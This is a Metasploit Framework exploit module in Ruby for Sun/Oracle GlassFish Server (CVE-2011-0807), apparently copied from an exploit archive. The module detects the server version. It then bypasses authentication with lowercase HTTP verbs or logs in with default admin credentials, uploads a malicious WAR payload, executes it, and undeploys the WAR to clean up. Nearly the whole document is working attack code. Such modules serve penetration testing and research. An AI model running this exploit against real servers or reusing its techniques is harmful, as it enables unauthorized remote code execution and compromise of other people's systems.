1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 |
## # $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution", 'Description'=> %q{ This module logs in to an GlassFish Server 3.1 (Open Source or Commercial) instance using a default credential, uploads, and executes commands via deploying a malicious WAR.On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x this module will try to bypass authentication instead by sending lowercase HTTP verbs. }, 'License'=> MSF_LICENSE, 'Version'=> "$Revision: 13485 $", 'Author' => [ #Msf module for Glassfish 3.0 'juan vazquez', #Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1 'Joshua Abraham <jabra[at]rapid7.com>', #Rewrite for 3.0, 3.1 (Commercial or Open Source) 'sinn3r', ], 'References' => [ ['CVE', '2011-0807'], ], 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', { } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java', }, ], # # platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win', }, ], # # platform specific targets only # [ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux', }, ], ], 'DisclosureDate' => "Aug 4 2011", 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(4848), OptString.new('APP_RPORT',[ true,'The Application interface port', '8080']), OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]), OptString.new('PATH', [ true,"The URI path of the GlassFish Server", '/']) ], self.class) end # # Send GET or POST request, and return the response # def send_request(path, method, session='', data=nil, ctype=nil) headers = {} headers['Cookie'] = "JSESSIONID=#{session}" if session != '' headers['Content-Type'] = ctype if ctype != nil headers['Content-Length'] = data.length if data != nil res = send_request_raw({ 'uri' => path, 'method'=> method, 'data'=> data, 'headers' => headers, }, 90) #'vhost' => "#{datastore['rhost']}:#{datastore['rport']}" return res end # # Return target # def auto_target(session, res, version) print_status("Attempting to automatically select a target...") res = query_serverinfo(session,version) return nil if not res return nil if not res.body plat = detect_platform(res.body) arch = detect_arch(res.body) # No arch or platform found? return nil if (not arch or not plat) # see if we have a match targets.each do |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) end # no matching target found return nil end # # Return platform (win, linux, or osx) # def detect_platform(body) body.each_line do |ln| ln.chomp! case ln when /os\.name = (.*)/ os = $1 case os when /Windows/ return 'win' when /Linux/ return 'linux' when /Mac OS X/ return 'osx' end end end return 'java' end # # Return ARCH # def detect_arch(body) body.each_line do |ln| ln.chomp! case ln when /os\.arch = (.*)/ ar = $1 case ar when 'x86', 'i386', 'i686' return ARCH_X86 when 'x86_64', 'amd64' return ARCH_X86 end end end end # # Return server information # def query_serverinfo(session,version) res = '' if version == '2.x' or version == '9.x' path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report" res = send_request(path, @verbs['GET'], session) else path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report" res = send_request(path, @verbs['GET'], session) if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/)) path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server" res = send_request(path, @verbs['GET'], session) end end if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end return res end # # Return viewstate and entry before deleting a GlassFish application # def get_delete_info(session, version, app='') if version == '2.x' or version == '9.x' path = '/applications/webApplications.jsf' res = send_request(path, @verbs['GET'], session) if (not res) or (res.code != 200) print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end input_id = "javax.faces.ViewState" p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/ viewstate = res.body.scan(p)[0][0] entry = nil p = /<a id="(.*)col1:link" href="https://www.exploit-db.com/exploits/17615/\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/ results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] entry << "col0:select" end end else path = '/common/applications/applications.jsf?bare=true' res = send_request(path, @verbs['GET'], session) if (not res) or (res.code != 200) print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end input_id = "javax.faces.ViewState" p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/ viewstate = res.body.scan(p)[0][0] entry = nil p = /<a id="(.*)col1:link" href="https://www.exploit-db.com/exploits/17615/\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/ results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] entry << "col0:select" end end end if (viewstate.nil?) print_error("Failed: Error getting ViewState") return nil elsif (entry.nil?) print_error("Failed: Error getting the entry to delete") end return viewstate, entry end # # Send an "undeploy" request to Glassfish and remove our backdoor # def undeploy(viewstate, session, entry) #Send undeployment request data= [ "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=", "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false", "&#{Rex::Text.uri_encode(entry)}=true", "&propertyForm%3AhelpKey=ref-applications.html", "&propertyForm_hidden=propertyForm_hidden", "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}", "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.partial.execute=%40all", "&javax.faces.partial.render=%40all", "&bare=true", "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.partial.ajax=true" ].join() path= '/common/applications/applications.jsf' ctype = 'application/x-www-form-urlencoded' res = send_request(path, @verbs['POST'], session, data, ctype) if (not res) print_error("Undeployment failed on #{path} - No Response") else if res.code < 200 or res.code >= 300 print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}") end end end # # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and # banner (ex: Sun Java System Application Server 9.x) # def get_version(res) #Extract banner from response banner = res.headers['Server'] #Default value for edition and glassfish version edition = 'Commercial' version = 'Unknown' #Set edition (Open Source or Commercial) p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/ edition = 'Open Source' if banner =~ p #Set version.Some GlassFish servers return banner "GlassFish v3". if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/ version = $2 elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?) version = $1 elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown') version = '2.x' elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown') version = '9.x' end if version == nil or version == 'Unknown' print_status("Unsupported version: #{banner}") end return edition, version, banner end # # Return the formatted version of the POST data # def format_2_x_war(boundary,name,value=nil, war=nil) data = '' data << boundary data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; " data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n" data << war data << "\r\n" return data end # # Return the formatted version of the POST data # def format(boundary,name,value=nil, war=nil) data = '' if war data << boundary data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; " data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n" data << war data << "\r\n" else data << boundary data << "\r\nContent-Disposition: form-data; name=\"#{name}\"" data << "\r\n\r\n" data << "#{value}\r\n" end return data end # # Return POST data and data length, based on GlassFish edition # def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='') data = '' if version == '3.0' uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadparam_data = "form:sheet1:section1:prop1:fileupload" boundary = "--#{boundary}" data = [ format(boundary, app_base, nil, war), format(boundary, uploadParam_name, uploadparam_data), format(boundary, "form:sheet1:section1:prop1:extension", ".war"), format(boundary, "form:sheet1:section1:prop1:action", "client"), format(boundary, typefield, "war"), format(boundary, "form:war:psection:cxp:ctx", app_base), format(boundary, "form:war:psection:nameProp:appName", app_base), format(boundary, "form:war:psection:vsProp:vs", ""), format(boundary, status_checkbox, "true"), format(boundary, "form:war:psection:librariesProp:library", ""), format(boundary, "form:war:psection:descriptionProp:description", ""), format(boundary, "form_hidden", "form_hidden"), format(boundary, "javax.faces.ViewState", viewstate), "#{boundary}--" ].join() elsif version == '2.x' or version == '9.x' uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadParam_data = "form:title:sheet1:section1:prop1:fileupload" focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" focusElementId_data = 'form:title:topButtons:uploadButton' boundary = "-----------------------------#{boundary}" data = [ format_2_x_war(boundary, app_base, nil, war), format(boundary, "form:title:sheet1:section1:type:appType", "webApp"), format(boundary, "uploadRdBtn", "client"), format(boundary, uploadParam_name, uploadParam_data), format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"), format(boundary, "form:title:ps:psec:nameProp:appName", app_base), format(boundary, "form:title:ps:psec:cxp:ctx", app_base), format(boundary, "form:title:ps:psec:vsp:vs", ""), format(boundary, status_checkbox, "true"), format(boundary, "form:title:ps:psec:librariesProp:library", ""), format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""), format(boundary, "form:title:ps:psec:registryProp:registryType", ""), format(boundary, "form:title:ps:psec:descriptionProp:description", ""), format(boundary, "form:helpKey", "uploaddev.html"), format(boundary, "form_hidden", "form_hidden"), format(boundary, "javax.faces.ViewState", viewstate), format(boundary, focusElementId_name, focusElementId_data), "#{boundary}--" ].join() else boundary = "-----------------------------#{boundary}" #Setup dynamic arguments num1 = start.to_i num2 = num1 + 14 num3 = num2 + 2 num4 = num3 + 2 num5 = num4 + 2 num6 = num5 + 2 num7 = num6 + 1 id0 = num4 id1 = num4 + 1 id2 = num4 + 2 id3 = num4 + 3 id4 = num4 + 4 id5 = num4 + 5 id6 = num4 + 6 id7 = num4 + 7 id8 = num4 + 8 id9 = num4 + 9 uploadParam_name= "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadParam_value = "form:sheet1:section1:prop1:fileupload" focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" focusElementId_data = "form:title2:bottomButtons:uploadButton" data = [ format(boundary,"uploadRdBtn","client"), ## web service format(boundary, app_base, nil, war), ## sheet1 format(boundary, uploadParam_name, uploadParam_value), format(boundary,"form:sheet1:section1:prop1:extension",".war"), format(boundary,"form:sheet1:section1:prop1:action","client"), format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"), format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"), format(boundary,"form:appClient:psection:descriptionProp:description"), ## war format(boundary,"form:war:psection:cxp:ctx","#{app_base}"), format(boundary,"form:war:psection:nameProp:appName","#{app_base}"), format(boundary,"form:war:psection:vsProp:vs"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"), format(boundary,"form:war:psection:librariesProp:library"), format(boundary,"form:war:psection:descriptionProp:description"), format(boundary,"form_hidden","form_hidden"), format(boundary,"javax.faces.ViewState","#{viewstate}"), format(boundary, focusElementId_name, focusElementId_data) ].join() item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list" item_list_data = "|server|com.sun.webui.jsf.separator|" item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value" item_value_data = "server" data << format(boundary, item_list_name, item_list_data) data << format(boundary, item_value_name, item_value_data) data << "#{boundary}--" data << "\r\n\r\n" end return data end # # Upload our payload, and execute it.This function will also try to automatically # clean up after itself. # def upload_exec(session, app_base, jsp_name, target, war, edition, version) if version == '2.x' or version == '9.x' path = "/applications/upload.jsf?appType=webApp" res = send_request(path, @verbs['GET'], session) #Obtain some properties begin p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi viewstate = res.body.scan(p1)[0][0] status_checkbox = res.body.scan(p2)[0][0] boundary= rand_text_alphanumeric(28) rescue print_error("Unable to gather required data for file upload") return end else path = "/common/applications/uploadFrame.jsf" res = send_request(path, @verbs['GET'], session) #Obtain some properties begin #start is only for dynamic arguments in POST data res.body =~ /propertySheetSection(\d{3})/ start = $1 p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/ p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/ rnd_text = rand_text_alphanumeric(29) viewstate = res.body.scan(p1)[0][0] typefield = res.body.scan(p2)[0][0] status_checkbox = res.body.scan(p3)[0][0] boundary= (edition == 'Open Source') ? rnd_text[0,15] : rnd_text rescue print_error("Unable to gather required data for file upload") return end end #Get upload data if version == '3.0' ctype = "multipart/form-data; boundary=#{boundary}" elsif version == '2.x' or version == '9.x' ctype = "multipart/form-data; boundary=---------------------------#{boundary}" typefield = '' start = '' else ctype = "multipart/form-data; boundary=---------------------------#{boundary}" end post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate) #Upload our payload if version == '2.x' or version == '9.x' path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20' else path= '/common/applications/uploadFrame.jsf?' path << 'form:title:topButtons:uploadButton=Processing...' path << '&bare=false' end res= send_request(path, @verbs['POST'], session, post_data, ctype) #Print upload result if res and res.code == 302 print_status("Successfully uploaded") else print_error("Error uploading #{res.code}") return end #Execute our payload using the application interface (no need to use auth bypass technique) jsp_path = "/" + app_base + "/" + jsp_name + ".jsp" nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'], { 'Msf'=> framework, 'MsfExploit' => self, } ) print_status("Executing #{jsp_path}...") req = nclient.request_raw({ 'uri' => jsp_path, 'method'=> 'GET', }) if (req) res = nclient.send_recv(req, 90) else print_status("Error: #{rhost} did not respond on #{app_rport}.") end #Sleep for a bit before cleanup select(nil, nil, nil, 5) #Start undeploying print_status("Getting information to undeploy...") viewstate, entry = get_delete_info(session, version, app_base) if (not viewstate) raise RuntimeError, "Unable to get viewstate" elsif (not entry) raise RuntimeError, "Unable to get entry" end print_status("Undeploying #{app_base}...") undeploy(viewstate, session, entry) print_status("Undeployment complete.") end # # Try to login to Glassfish with a credential, and return the response # def try_login(user, pass) data= "j_username=#{Rex::Text.uri_encode(user.to_s)}&" data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&" data << "loginButton=Login" path = '/j_security_check' res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded') return res end def log_success(user,pass) print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") report_auth_info( :host => rhost, :port => rport, :sname=> 'http', :user => user, :pass => pass, :proof=> "WEBAPP=\"GlassFish\", VHOST=#{vhost}", :active => true ) end def try_default_glassfish_login(version) success = false session = '' res = '' if version == '2.x' or version == '9.x' user = 'admin' pass = 'adminadmin' print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....") res = try_login(user,pass) if res and res.code == 302 session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) res = send_request('/applications/upload.jsf', 'GET', session) p = /<title>Deploy Enterprise Applications\/Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end end else user = 'admin' pass = '' print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....") res = try_login(user,pass) if res and res.code == 302 session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) res = send_request('/common/applications/uploadFrame.jsf', 'GET', session) p = /<title>Deploy Applications or Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end end end if success == true log_success(user,pass) else msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'" print_error(msg) end return success, res, session end def try_nondefault_glassfish_login(version,user,pass) print_status("Trying credential #{user}:'#{pass}'....") success = false session = '' res = try_login(user, pass) if version == '2.x' or version == '9.x' if res and res.code == 302 session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) res = send_request('/applications/upload.jsf', 'GET', session) p = /<title>Deploy Enterprise Applications\/Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end end else if res and res.code == 302 session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) res = send_request('/common/index.jsf', 'GET', session) p = /<title>Deploy Applications or Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end end end if success == true log_success(user,pass) else msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'" print_error(msg) end return success, res, session end def try_glassfish_auth_bypass(version) print_status("Trying GlassFish authentication bypass..") success = false if version == '2.x' or version == '9.x' res = send_request('/applications/upload.jsf', 'get') p = /<title>Deploy Enterprise Applications\/Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end else # 3.0 res = send_request('/common/applications/uploadFrame.jsf', 'get') p = /<title>Deploy Applications or Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end end if success == true print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass") report_auth_info( :host => rhost, :port => rport, :sname=> 'http', :user => '', :pass => '', :proof=> "WEBAPP=\"GlassFish\", VHOST=#{vhost}", :active => true ) else print_error("#{target_host()} - GlassFish - Failed authentication bypass") end return success end def target_host path= datastore['PATH'] target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" end def exploit user= datastore['USERNAME'] pass= datastore['PASSWORD'] path= datastore['PATH'] target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" success = false session = '' edition = '' version = '' #Invoke index to gather some info res = send_request('/common/index.jsf', 'GET') if res.code == 302 res = send_request('/login.jsf', 'GET') end #Get GlassFish version edition, version, banner = get_version(res) print_status("Glassfish edition: #{banner}") #Get session res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); / session = $1 #Set HTTP verbs.lower-case is used to bypass auth on v3.0 @verbs = { 'GET'=> (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET', 'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST', } #auth bypass if version == '3.0' or version == '2.x' or version == '9.x' success = try_glassfish_auth_bypass(version) end #BUG caused us to skip default cred checks on sun applicaiton server 9.x if success == false and version != '9.x' #default credentials success,res,session_login = try_default_glassfish_login(version) if success == false if ( ( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') )or ( (version =~ /^3\./) and (user != 'admin' and pass != '') ) ) #non-default login success,res,session_login = try_nondefault_glassfish_login(version,user,pass) end end end #Start attacking if success session = session_login if (session_login =~ /\w+/) #Set target mytarget = target mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/ raise RunTimeError, "Unable to automatically select a target" if (not mytarget) #Generate payload p = exploit_regenerate_payload(mytarget.platform, mytarget.arch) jsp_name = rand_text_alphanumeric(4+rand(32-4)) app_base = rand_text_alphanumeric(4+rand(32-4)) war = p.encoded_war({ :app_name=> app_base, :jsp_name=> jsp_name, :arch=> mytarget.arch, :platform=> mytarget.platform }).to_s #Upload, execute, cleanup, winning print_status("Uploading payload...") res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version) else print_error("#{target_host()} - GlassFish - Failed to authenticate login") end end end |